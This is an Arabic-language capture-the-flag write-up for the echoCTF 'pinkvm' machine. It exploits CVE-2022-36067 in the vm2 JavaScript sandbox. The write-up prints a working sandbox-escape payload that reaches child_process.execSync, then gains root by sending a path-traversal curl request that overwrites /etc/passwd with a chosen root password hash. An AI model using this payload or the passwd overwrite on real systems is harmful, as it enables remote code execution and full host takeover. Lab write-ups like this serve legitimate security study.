Posts echoCTF - pinkvm | Sandbox Bypass (CVE-2022-36067)
Post
Cancel

echoCTF - pinkvm | Sandbox Bypass (CVE-2022-36067)

Introduction:

بسم الله الرحمن الرحيم
السلام عليكم ورحمة الله وبركاتة, اليوم راح نشرح حل تحدي Pinkvm المقدم من echoCTF طبعاً التحدي مبني على CVE حديثه الا وهي CVE-2022-36067 الاصابة في مكتبة vm2-sandbox تخطي javascript sandbox والحصول على RCE وبعد ذلك سوف نشرح طريقة تصعيد الامتياز والحصول على صلاحيات root.

centered image

What is Sandbox:

هي بيئة افتراضية نقوم من خلالها بتنفيذ التعليمات البرمجية خارج نطاق الجهاز لتقليل من المخاطر, بكل اختصار هي آلية عزل راح تعزلك كمهاجم من تنفيذ تعليماتك البرمجية الخبيثه على جهاز المضيف وكما هو موضح اعلاه كيف نقدر نتخطى هذا الشيء ونفذ تعلميات javascript خبيثة والحصول على Reverse Shell.

Enumeration with nmap:

راح نستخدم اداة nmap لفحص المنافذ المفتوحة و فحص الخدمات المستخدمة كما هو موضح ادناه

-sV لفحص الخدمات المستخدمة -p- لاستخراج جميع المنافذ المفتوحة

1
2
3
4
5
6
7
8
9
10
pegasus@RedEyes:~$ sudo nmap -sV -p- $IP
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-10 18:50 +03
Nmap scan report for $IP
Host is up (0.097s latency).

PORT     STATE SERVICE VERSION
3000/tcp open  http    Node.js Express framework

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 28.24 seconds

Port 3000 - HTTP:

راح نلاحظ صندوق إدخال يمكن من خلاله تنفيذ الكود الخاص بنا وادناه يبين لك طريقة عمل الكود

centered image

1
module.exports = function() { YOUR_CODE_GOES_HERE }
بكل اختصار الكود المستخدم يقوم بتصدير اي شيء يتم تعريفة داخل function
على سبيل المثال لو عطيناه عملية رياضية رايح يتم تصديرها من نفس function وسيتم تنفيذها

centered image

بعد البحث عن المكتبة المستخدمة الا وهي vm2 سنجد انها مصابة Remote Code Execution
البايلود المستخدم
1
2
3
4
5
6
7
8
9
10
11
12
13
globalThis.OldError=globalThis.Error;
try{
const a=123
a=44
}catch(err){
  console.log(err)  
}

globalThis.Error={}
globalThis.Error.prepareStackTrace=(errStr,traces)=>{
    traces[0].getThis().process.mainModule.require('child_process').execSync('ENETR OS COMMAND HERE') 
}  
const {stack}=new globalThis.OldError 
طريقة عمل الكود بكل اختصار اذا حصل خطأ في تعريف متغير a راح يتم تنفيذ child_process ونحصل على Rerverse Shell

Reverse shell:

بعد تنفيذ البايلود الخاص بنا راح نحصل على Reverse shell.

centered image

centered image

Privilege Escalation:

راح نستخدم امر ps -aux لعرض جميع العمليات فالنظام
1
2
3
4
5
6
7
ETSCTF@pinkvm:/app$ ps -aux | grep root
root         1  0.0  0.0   2276   756 pts/0    Ss   08:30   0:00 /sbin/tini -- /entrypoint.sh supervisord -n
root         7  0.0  0.0   3732  2856 pts/0    S+   08:30   0:00 /bin/bash /entrypoint.sh supervisord -n
root        18  0.0  0.5  24328 20412 pts/0    S+   08:30   0:01 /usr/bin/python2 /usr/bin/supervisord -n
root        22  0.0  1.0 11103740 42796 pts/0  Sl   08:30   0:00 node /usr/local/bin/nako3edit
root     13280  0.0  0.0   3732  2748 ?        S    11:25   0:00 /bin/bash /usr/local/sbin/healthcheck.sh
root     13281  0.0  0.1  94884  7900 ?        S    11:25   0:00 curl -s -f http://localhost:3000/
راح نلاحظ ان الروت يشغل سكربت nako3edit بعد استعراض السكربت راح نلاحظ انه يشغل منفذ 8888 ويعطينا قيمة appkey في Location header
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#!/usr/bin/env node
/** nako3edit
node
HTTP
) */
import path from 'path'
import fs, { existsSync } from 'fs'
import { execSync } from 'child_process'
import opener from 'opener'
import http from 'http'
// __dirname 
import url from 'url'
const __filename = url.fileURLToPath(import.meta.url)
const __dirname = path.dirname(__filename)
// CONST
const SERVER_PORT = 8888
const rootDir = path.resolve(__dirname)
const releaseDir = path.resolve(path.join(__dirname, '../../release'))
const isWin = process.platform === 'win32'
const homeDir = process.env[isWin ? 'USERPROFILE' : 'HOME']
const userDir = path.join(homeDir, 'nadesiko3_user')
const CNAKO3 = path.resolve(path.join(__dirname, '../../src/cnako3.mjs'))
const NODE = process.argv[0]
const appkey = 'K' + Math.floor(Math.random() * 10000000).toString(16) // <--- appkey
if (!fs.existsSync(userDir)) { fs.mkdirSync(userDir) }
const server = http.createServer(function (req, res) {
  console.log('[
]', JSON.stringify(req.url))
  // root 
 "demo/"
  if (req.url === '/') {
    res.writeHead(302, { 'Location': `/html/files.html?appkey=${appkey}` }) // <---  appkey as a query parameter
    res.end('<a href="/html/files.html">HTML</a>')
    return

1
2
3
4
5
6
7
ETSCTF@pinkvm:/app$ curl localhost:8888 -i
HTTP/1.1 302 Found
Location: /html/files.html?appkey=K8fc911 <--- appkey
Date: Fri, 10 Mar 2023 12:00:08 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Transfer-Encoding: chunked
بعد حصولنا على appkey نحلل الكود ونشوف وش الاشياء الي نقدر نسويها
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
function apiSave (res, params) {
  res.writeHead(200, { 'Content-Type': 'text/plain; charset=utf-8' })
  const appkeyUser = params.appkey
  if (appkey !== appkeyUser) {
    res.end('[ERROR] キーが違います')
    return
  }
  const fname = params.file
  const body = params.body
  const fullpath = path.join(userDir, fname)
  try {
    fs.writeFileSync(fullpath, body, 'utf-8')
    console.log('[save] file=', fullpath)
    console.log('body=', body)
    console.log('--------------------------------')
    res.end('ok')
  } catch (err) {
    res.end('[ERROR] 保存に失敗しました😭')
  }
}

جميل لقينا function يسمح لنا بحفظ ملف بمحتويات خاصه بنا ويتطلب 3 متغيرات الا وهي
  • file
  • body
  • appkey
بحكم ان السكربت يعمل بصلاحيات روت راح اعدل على ملف passwd واحط باسورد لروت
راح ننشئ باسورد عن طريق الامر ادناه
1
2
pegasus@RedEyes:~$ openssl passwd -6 -salt xyz test 
$6$xyz$rjarwc/BNZWcH6B31aAXWo1942.i7rCX5AT/oxALL5gCznYVGKh6nycQVZiHDVbnbu0BsQyPfBgqYveKcCgOE0
نقوم الان بارسال الطلب
1
ETSCTF@pinkvm:/app$ curl 'http://localhost:8888/save?file=../../etc/passwd&body=root:$6$xyz$rjarwc/BNZWcH6B31aAXWo1942.i7rCX5AT/oxALL5gCznYVGKh6nycQVZiHDVbnbu0BsQyPfBgqYveKcCgOE0:0:0:root:/root:/bin/bash&appkey=K8fc911'

centered image

وبكذا حصلنا على روت

References:

  • https://www.oxeye.io/blog/vm2-sandbreak-vulnerability-cve-2022-36067
  • https://github.com/Prathamrajgor/Exploit-For-CVE-2022-36067
  • https://security.snyk.io/vuln/SNYK-JS-VM2-3018201
  • https://unix.stackexchange.com/questions/81240/manually-generate-password-for-etc-shadow

Author:

Twitter :

1
https://twitter.com/57h
This post is licensed under CC BY 4.0 by the author.
Contenido

Tags